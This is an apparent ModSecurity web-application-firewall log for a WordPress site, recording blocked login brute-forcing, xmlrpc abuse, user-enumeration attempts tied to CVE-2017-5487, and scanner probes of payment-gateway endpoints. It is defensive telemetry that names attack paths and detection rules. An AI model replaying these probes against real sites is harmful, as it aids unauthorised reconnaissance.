[Thu Jan 15 08:21:40.715272 2026] [:error] [pid 5290:tid 5322] [client 40.69.66.178:15117] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xde.php"] [unique_id "aWgzFDiQRfcmyoePXPfi0gAAABc"]
[Thu Jan 15 09:11:30.243690 2026] [:error] [pid 51857:tid 51873] [client 134.122.6.46:55240] [client 134.122.6.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.122.6.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWg-wnDlXoqhkNNyf_x8KAAAAU4"]
[Thu Jan 15 10:44:52.153383 2026] [:error] [pid 51807:tid 51821] [client 5.161.255.166:53470] [client 5.161.255.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.255.166, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWhUpMMrH4_ge4gLwN1wowAAAQw"]
[Thu Jan 15 11:39:59.193610 2026] [:error] [pid 5292:tid 5374] [client 178.33.162.49:44374] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.33.162.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWhhj2WxK-ai3L9DjxZflgAAAJM"]
[Thu Jan 15 12:43:52.119816 2026] [:error] [pid 5389:tid 5396] [client 43.157.170.126:50730] [client 43.157.170.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWhwiEkzfklDSWCNrVLkXQAAAMU"]
[Thu Jan 15 13:03:23.211137 2026] [:error] [pid 5291:tid 5328] [client 167.99.48.188:46682] [client 167.99.48.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.99.48.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWh1Gzp5twZ54fay3Rcc9AAAAEE"]
[Thu Jan 15 15:38:18.987590 2026] [:error] [pid 5389:tid 5409] [client 51.210.190.32:47658] [client 51.210.190.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.190.32, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWiZakkzfklDSWCNrVIu0gAAANI"]
[Thu Jan 15 18:12:20.600357 2026] [:error] [pid 5290:tid 5319] [client 151.80.24.32:49728] [client 151.80.24.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 151.80.24.32, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWi9hDiQRfcmyoePXPeeoAAAABQ"]
[Thu Jan 15 19:34:15.573299 2026] [:error] [pid 5389:tid 5409] [client 83.166.133.91:55446] [client 83.166.133.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 83.166.133.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWjQt0kzfklDSWCNrVJxRgAAANI"]
[Thu Jan 15 20:13:01.121768 2026] [:error] [pid 5292:tid 5364] [client 162.62.213.165:44450] [client 162.62.213.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWjZzWWxK-ai3L9DjxYkPQAAAIk"]
[Thu Jan 15 21:15:40.945804 2026] [:error] [pid 51857:tid 51882] [client 136.111.92.63:62706] [client 136.111.92.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.111.92.63, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWjofHDlXoqhkNNyf_ywnQAAAVc"]
[Thu Jan 15 21:15:44.111264 2026] [:error] [pid 51857:tid 51869] [client 136.111.92.63:62706] [client 136.111.92.63] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aWjogHDlXoqhkNNyf_ywoAAAAUo"]
[Thu Jan 15 21:15:46.747743 2026] [:error] [pid 51857:tid 51877] [client 136.111.92.63:62706] [client 136.111.92.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.111.92.63, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWjognDlXoqhkNNyf_ywpAAAAVI"]
[Thu Jan 15 22:12:19.230003 2026] [:error] [pid 5389:tid 5393] [client 54.74.194.173:39846] [client 54.74.194.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.74.194.173, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWj1w0kzfklDSWCNrVKVdQAAAMI"]
[Thu Jan 15 23:34:47.143792 2026] [:error] [pid 5291:tid 5330] [client 185.199.223.93:38846] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.199.223.93, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWkJFzp5twZ54fay3Rf2RQAAAEM"]
[Fri Jan 16 00:56:21.567162 2026] [:error] [pid 21666:tid 21672] [client 34.73.72.28:59560] [client 34.73.72.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.72.28, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWkcNaM9zD2y6IZZ4RSikQAAAYE"]
[Fri Jan 16 00:56:24.510871 2026] [:error] [pid 21666:tid 21694] [client 34.73.72.28:59560] [client 34.73.72.28] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aWkcOKM9zD2y6IZZ4RSilgAAAZc"]
[Fri Jan 16 00:56:26.609116 2026] [:error] [pid 21666:tid 21675] [client 34.73.72.28:59560] [client 34.73.72.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.72.28, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWkcOqM9zD2y6IZZ4RSimAAAAYQ"]
[Fri Jan 16 00:59:29.423389 2026] [:error] [pid 5290:tid 5314] [client 210.87.91.38:35706] [client 210.87.91.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 210.87.91.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWkc8TiQRfcmyoePXPf4rgAAAA8"]
[Fri Jan 16 02:16:52.505643 2026] [:error] [pid 5292:tid 5368] [client 172.104.208.183:43456] [client 172.104.208.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.104.208.183, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWkvFGWxK-ai3L9DjxZwawAAAI0"]
[Fri Jan 16 03:35:32.460114 2026] [:error] [pid 39128:tid 39203] [client 82.64.81.82:49166] [client 82.64.81.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.64.81.82, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWlBhAePPYJI__EBmQbvMgAAAJE"]
[Fri Jan 16 04:13:26.865622 2026] [:error] [pid 4655:tid 4681] [client 43.153.123.4:40778] [client 43.153.123.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWlKZowNRVf4tI0Wv76v3AAAABE"]
[Fri Jan 16 04:59:37.736657 2026] [:error] [pid 43435:tid 43438] [client 217.154.5.38:58736] [client 217.154.5.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.154.5.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWlVOcTShPLPoPKNBO0m5AAAAQE"]
[Fri Jan 16 07:40:49.330011 2026] [:error] [pid 43435:tid 43459] [client 104.248.33.228:45162] [client 104.248.33.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.33.228, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWl7AcTShPLPoPKNBO1pRQAAARY"]
[Fri Jan 16 09:24:52.572844 2026] [:error] [pid 4656:tid 4711] [client 182.44.10.67:33564] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWmTZKjsvji3BAaL5mxQPQAAAFQ"]
[Fri Jan 16 10:17:29.377095 2026] [:error] [pid 9260:tid 9273] [client 5.183.189.74:38498] [client 5.183.189.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.183.189.74, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWmfuV3AAooR8oZsCwk0xwAAAAs"]
[Fri Jan 16 11:35:33.222696 2026] [:error] [pid 9169:tid 9195] [client 139.59.19.188:50116] [client 139.59.19.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.19.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWmyBfnHNwn4jDwFUqSrxAAAANY"]
[Fri Jan 16 12:49:13.531310 2026] [:error] [pid 9169:tid 9193] [client 43.130.101.151:54614] [client 43.130.101.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWnDSfnHNwn4jDwFUqTBGwAAANQ"]
[Fri Jan 16 12:55:46.306262 2026] [:error] [pid 9171:tid 9229] [client 66.29.147.6:41970] [client 66.29.147.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.147.6, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWnE0oJ9Drgq4A3ZjfMWIwAAAUE"]
[Fri Jan 16 15:32:17.783466 2026] [:error] [pid 30957:tid 30977] [client 170.187.157.137:58904] [client 170.187.157.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.187.157.137, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWnpgd2pbRtnni7K9w_7xAAAAFE"]
[Fri Jan 16 16:26:05.942392 2026] [:error] [pid 30925:tid 30929] [client 115.70.50.71:39440] [client 115.70.50.71] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "114.119.144.229_2f20390f4bf2c71a212308cf7c6fbb784b1f8cbf"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wpforms/assets/js/wpforms.min.js"] [unique_id "aWn2G7Pyx6TwF5dNaFqTwQAAAYI"], referer: https://vetstars.com.au/appointment/
[Fri Jan 16 16:56:42.341320 2026] [:error] [pid 30865:tid 30869] [client 78.47.142.186:57390] [client 78.47.142.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.47.142.186, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWn9ShCR_HCYGnC3FS-xNAAAAUE"]
[Fri Jan 16 17:01:45.925568 2026] [:error] [pid 54008:tid 54030] [client 84.247.169.220:56660] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWn-eceowS6CyLOmCzOjPQAAAJQ"]
[Fri Jan 16 17:01:47.219454 2026] [:error] [pid 30957:tid 30981] [client 84.247.169.220:56817] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-json/wc/v3/payment_gateways"] [unique_id "aWn-e92pbRtnni7K9w8qWwAAAFU"]
[Fri Jan 16 17:01:48.499431 2026] [:error] [pid 30957:tid 30967] [client 84.247.169.220:56953] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-json/wc/v2/payment_gateways"] [unique_id "aWn-fN2pbRtnni7K9w8qXwAAAEc"]
[Fri Jan 16 17:01:49.848292 2026] [:error] [pid 30865:tid 30891] [client 84.247.169.220:57115] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-json/wc/store/v1/cart"] [unique_id "aWn-fRCR_HCYGnC3FS-zVwAAAVc"]
[Fri Jan 16 17:01:51.264981 2026] [:error] [pid 30866:tid 30896] [client 84.247.169.220:57211] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-json/wc/store/v1/payment_methods"] [unique_id "aWn-fyfb83E1Tbd0nr9rVwAAAAE"]
[Fri Jan 16 18:13:39.150366 2026] [:error] [pid 30866:tid 30917] [client 54.74.194.173:49928] [client 54.74.194.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.74.194.173, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWoPUyfb83E1Tbd0nr9_vgAAABY"]
[Fri Jan 16 18:32:16.494240 2026] [:error] [pid 30866:tid 30912] [client 1.41.37.27:33966] [client 1.41.37.27] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "43.135.182.43_5130cd35e6173fa89dcaa90c81b49a69c658bd78"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.min.js"] [unique_id "aWoTrCfb83E1Tbd0nr-FQAAAABE"], referer: https://vetstars.com.au/
[Fri Jan 16 19:52:12.237376 2026] [:error] [pid 30866:tid 30901] [client 168.231.79.82:39198] [client 168.231.79.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.231.79.82, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWombCfb83E1Tbd0nr-dxAAAAAY"]
[Fri Jan 16 20:29:06.859762 2026] [:error] [pid 54008:tid 54032] [client 43.130.3.122:44560] [client 43.130.3.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWovEseowS6CyLOmCzPxiQAAAJY"]
[Fri Jan 16 22:30:34.575943 2026] [:error] [pid 30865:tid 30875] [client 64.69.40.182:55870] [client 64.69.40.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.69.40.182, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWpLihCR_HCYGnC3FS9GTwAAAUc"]
[Fri Jan 16 23:50:52.139148 2026] [:error] [pid 30957:tid 30960] [client 194.56.216.2:27073] [client 194.56.216.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.56.216.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWpeXN2pbRtnni7K9w-f8AAAAEA"]
[Fri Jan 16 23:53:35.980473 2026] [:error] [pid 30957:tid 30973] [client 138.201.62.99:50400] [client 138.201.62.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.201.62.99, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWpe_92pbRtnni7K9w-gvgAAAE0"]
[Sat Jan 17 01:11:54.922177 2026] [:error] [pid 30865:tid 30877] [client 155.133.142.66:46754] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 155.133.142.66, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWpxWhCR_HCYGnC3FS9_sAAAAUk"]
[Sat Jan 17 02:37:39.955098 2026] [:error] [pid 54008:tid 54027] [client 193.176.78.123:42774] [client 193.176.78.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.176.78.123, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWqFc8eowS6CyLOmCzNUyQAAAJE"]
[Sat Jan 17 04:32:08.354090 2026] [:error] [pid 31224:tid 31285] [client 114.96.103.33:51267] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWqgSDgpVpEMk8-OQkhnOwAAAFg"]
[Sat Jan 17 06:40:05.461214 2026] [:error] [pid 31322:tid 31334] [client 194.35.13.108:52644] [client 194.35.13.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.35.13.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWq-RXxOW98yk2MBlyo3SAAAAMA"]
[Sat Jan 17 07:54:54.673865 2026] [:error] [pid 31322:tid 31345] [client 49.51.233.46:55788] [client 49.51.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWrPznxOW98yk2MBlypIHAAAAMs"]
[Sat Jan 17 09:32:17.188603 2026] [:error] [pid 31225:tid 31288] [client 134.90.137.88:43958] [client 134.90.137.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.90.137.88, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWrmoenu2L2yWFDbzyUtFQAAAIA"]
[Sat Jan 17 10:42:12.499072 2026] [:error] [pid 31698:tid 31725] [client 20.51.210.179:35116] [client 20.51.210.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.51.210.179, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWr3BLjKZJSxKAfZqrJXhAAAARc"]
[Sat Jan 17 10:46:15.482583 2026] [:error] [pid 31223:tid 31244] [client 49.234.192.248:37820] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWr390Mnpeq0T1sEOlKGWwAAAAs"]
[Sat Jan 17 12:01:55.402533 2026] [:error] [pid 31224:tid 31276] [client 206.189.98.194:41860] [client 206.189.98.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.98.194, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWsJszgpVpEMk8-OQkixlAAAAE8"]
